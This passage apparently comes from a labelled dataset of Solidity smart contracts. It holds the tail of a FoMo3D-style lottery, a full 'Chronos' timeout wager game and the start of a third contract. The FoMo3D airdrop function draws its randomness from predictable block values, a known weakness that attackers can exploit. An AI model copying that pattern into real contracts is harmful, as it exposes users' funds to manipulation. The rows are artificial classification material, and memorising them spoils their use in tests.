function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
reward.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
Divies.deposit.value(_p3d)();
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _p3d;
reward.transfer(_com);
uint256 _long = _eth / 100;
otherF3D_.send(_long);
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
Divies.deposit.value(_p3d)();
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == 0x2ec1a6CAa83037cD0eAbceffCA77ede9C1d77512 ||
msg.sender == 0xA9248e8F10A632226DD282Fa7653157CdC3e940E ||
msg.sender == 0x5F9E2a13226B93359E1dc0B0d4cc4257c4fA7610 ||
msg.sender == 0x7218cd0a71ad54d966c3fd008811b67bd1825456 ||
msg.sender == 0xaaad7eb3132bf7b07316bf5ce26adcbb4ac9d43d,
"only team just can activate"
);
require(address(otherF3D_) != address(0), "must link to other FoMo3D first");
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
function setOtherFomo(address _otherF3D)
public
{
require(
msg.sender == 0x2ec1a6CAa83037cD0eAbceffCA77ede9C1d77512 ||
msg.sender == 0xA9248e8F10A632226DD282Fa7653157CdC3e940E ||
msg.sender == 0x5F9E2a13226B93359E1dc0B0d4cc4257c4fA7610 ||
msg.sender == 0x7218cd0a71ad54d966c3fd008811b67bd1825456 ||
msg.sender == 0xaaad7eb3132bf7b07316bf5ce26adcbb4ac9d43d,
"only team just can activate"
);
require(address(otherF3D_) == address(0), "silly dev, you already did that");
otherF3D_ = _otherF3D;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface otherFoMo3D {
function potSwap() external payable;
}
interface F3DexternalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
interface DiviesInterface {
function deposit() external payable;
}
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 313 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract ChronosAccessControl is Claimable, Pausable, CanReclaimToken {
address public cfoAddress;
function ChronosAccessControl() public {
cfoAddress = msg.sender;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
function setCFO(address _newCFO) external onlyOwner {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
}
contract ChronosBase is ChronosAccessControl {
using SafeMath for uint256;
uint256[] public activeTimesFrom;
uint256[] public activeTimesTo;
bool public allowStart;
bool public gameStarted;
address public lastPlayer;
uint256 public lastWagerTimeoutTimestamp;
uint256 public timeout;
uint256 public nextTimeout;
uint256 public finalTimeout;
uint256 public nextFinalTimeout;
uint256 public numberOfWagersToFinalTimeout;
uint256 public nextNumberOfWagersToFinalTimeout;
uint256 public gameIndex = 0;
uint256 public wagerIndex = 0;
uint256 public nthWagerPrizeN = 3;
function canStart() public view returns (bool) {
uint256 timeOfWeek = (block.timestamp - 345600) % 604800;
uint256 windows = activeTimesFrom.length;
if (windows == 0) {
return true;
}
for (uint256 i = 0; i < windows; i++) {
if (timeOfWeek >= activeTimesFrom[i] && timeOfWeek <= activeTimesTo[i]) {
return true;
}
}
return false;
}
function calculateTimeout() public view returns(uint256) {
if (wagerIndex >= numberOfWagersToFinalTimeout || numberOfWagersToFinalTimeout == 0) {
return finalTimeout;
} else {
if (finalTimeout <= timeout) {
uint256 difference = timeout - finalTimeout;
uint256 decrease = difference.mul(wagerIndex).div(numberOfWagersToFinalTimeout);
return (timeout - decrease);
} else {
difference = finalTimeout - timeout;
uint256 increase = difference.mul(wagerIndex).div(numberOfWagersToFinalTimeout);
return (timeout + increase);
}
}
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract ChronosFinance is ChronosBase, PullPayment {
uint256 public feePercentage = 2500;
uint256 public nextPoolPercentage = 7500;
uint256 public price;
uint256 public nextPrice;
uint256 public prizePool;
uint256 public nextPrizePool;
uint256 public wagerPool;
function setFeePercentage(uint256 _feePercentage) external onlyCFO {
require(_feePercentage <= 4000);
feePercentage = _feePercentage;
}
function setNextPoolPercentage(uint256 _nextPoolPercentage) external onlyCFO {
nextPoolPercentage = _nextPoolPercentage;
}
function _sendFunds(address beneficiary, uint256 amount) internal {
if (!beneficiary.send(amount)) {
asyncSend(beneficiary, amount);
}
}
function withdrawFreeBalance() external onlyCFO {
uint256 freeBalance = this.balance.sub(totalPayments).sub(prizePool).sub(wagerPool);
cfoAddress.transfer(freeBalance);
}
}
contract ChronosCore is ChronosFinance {
function ChronosCore(uint256 _price, uint256 _timeout, uint256 _finalTimeout, uint256 _numberOfWagersToFinalTimeout) public {
nextPrice = _price;
nextTimeout = _timeout;
nextFinalTimeout = _finalTimeout;
nextNumberOfWagersToFinalTimeout = _numberOfWagersToFinalTimeout;
NextGame(nextPrice, nextTimeout, nextFinalTimeout, nextNumberOfWagersToFinalTimeout);
}
event ActiveTimes(uint256[] from, uint256[] to);
event AllowStart(bool allowStart);
event NextGame(uint256 price, uint256 timeout, uint256 finalTimeout, uint256 numberOfWagersToFinalTimeout);
event Start(uint256 indexed gameIndex, address indexed starter, uint256 timestamp, uint256 price, uint256 timeout, uint256 finalTimeout, uint256 numberOfWagersToFinalTimeout);
event End(uint256 indexed gameIndex, uint256 wagerIndex, address indexed winner, uint256 timestamp, uint256 prize, uint256 nextPrizePool);
event Play(uint256 indexed gameIndex, uint256 indexed wagerIndex, address indexed player, uint256 timestamp, uint256 timeoutTimestamp, uint256 newPrizePool, uint256 nextPrizePool);
event SpiceUpPrizePool(uint256 indexed gameIndex, address indexed spicer, uint256 spiceAdded, string message, uint256 newPrizePool);
function play(uint256 _gameIndex, bool startNewGameIfIdle) external payable {
_processGameEnd();
if (!gameStarted) {
require(!paused);
if (allowStart) {
allowStart = false;
} else {
require(canStart());
}
require(startNewGameIfIdle);
price = nextPrice;
timeout = nextTimeout;
finalTimeout = nextFinalTimeout;
numberOfWagersToFinalTimeout = nextNumberOfWagersToFinalTimeout;
gameStarted = true;
Start(gameIndex, msg.sender, block.timestamp, price, timeout, finalTimeout, numberOfWagersToFinalTimeout);
}
if (startNewGameIfIdle) {
require(_gameIndex == gameIndex || _gameIndex.add(1) == gameIndex);
} else {
require(_gameIndex == gameIndex);
}
require(msg.value >= price);
uint256 fee = price.mul(feePercentage).div(100000);
uint256 nextPool = price.mul(nextPoolPercentage).div(100000);
uint256 wagerPoolPart;
if (wagerIndex % nthWagerPrizeN == nthWagerPrizeN - 1) {
uint256 wagerPrize = price.mul(2);
wagerPoolPart = wagerPrize.sub(wagerPool);
msg.sender.transfer(wagerPrize);
wagerPool = 0;
} else {
wagerPoolPart = price.mul(2).div(nthWagerPrizeN);
wagerPool = wagerPool.add(wagerPoolPart);
}
uint256 currentTimeout = calculateTimeout();
lastPlayer = msg.sender;
lastWagerTimeoutTimestamp = block.timestamp + currentTimeout;
prizePool = prizePool.add(price.sub(fee).sub(nextPool).sub(wagerPoolPart));
nextPrizePool = nextPrizePool.add(nextPool);
Play(gameIndex, wagerIndex, msg.sender, block.timestamp, lastWagerTimeoutTimestamp, prizePool, nextPrizePool);
wagerIndex++;
uint256 excess = msg.value - price;
if (excess > 0) {
msg.sender.transfer(excess);
}
}
function spiceUp(uint256 _gameIndex, string message) external payable {
_processGameEnd();
require(_gameIndex == gameIndex);
require(gameStarted || !paused);
require(msg.value > 0);
prizePool = prizePool.add(msg.value);
SpiceUpPrizePool(gameIndex, msg.sender, msg.value, message, prizePool);
}
function setNextGame(uint256 _price, uint256 _timeout, uint256 _finalTimeout, uint256 _numberOfWagersToFinalTimeout) external onlyCFO {
nextPrice = _price;
nextTimeout = _timeout;
nextFinalTimeout = _finalTimeout;
nextNumberOfWagersToFinalTimeout = _numberOfWagersToFinalTimeout;
NextGame(nextPrice, nextTimeout, nextFinalTimeout, nextNumberOfWagersToFinalTimeout);
}
function endGame() external {
require(_processGameEnd());
}
function _processGameEnd() internal returns(bool) {
if (!gameStarted) {
return false;
}
if (block.timestamp <= lastWagerTimeoutTimestamp) {
return false;
}
uint256 prize = prizePool.add(wagerPool);
_sendFunds(lastPlayer, prize);
End(gameIndex, wagerIndex, lastPlayer, lastWagerTimeoutTimestamp, prize, nextPrizePool);
gameStarted = false;
lastPlayer = 0x0;
lastWagerTimeoutTimestamp = 0;
wagerIndex = 0;
wagerPool = 0;
prizePool = nextPrizePool;
nextPrizePool = 0;
gameIndex++;
return true;
}
function setActiveTimes(uint256[] _from, uint256[] _to) external onlyCFO {
require(_from.length == _to.length);
activeTimesFrom = _from;
activeTimesTo = _to;
ActiveTimes(_from, _to);
}
function setAllowStart(bool _allowStart) external onlyCFO {
allowStart = _allowStart;
AllowStart(_allowStart);
}
} | 0 | 601 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
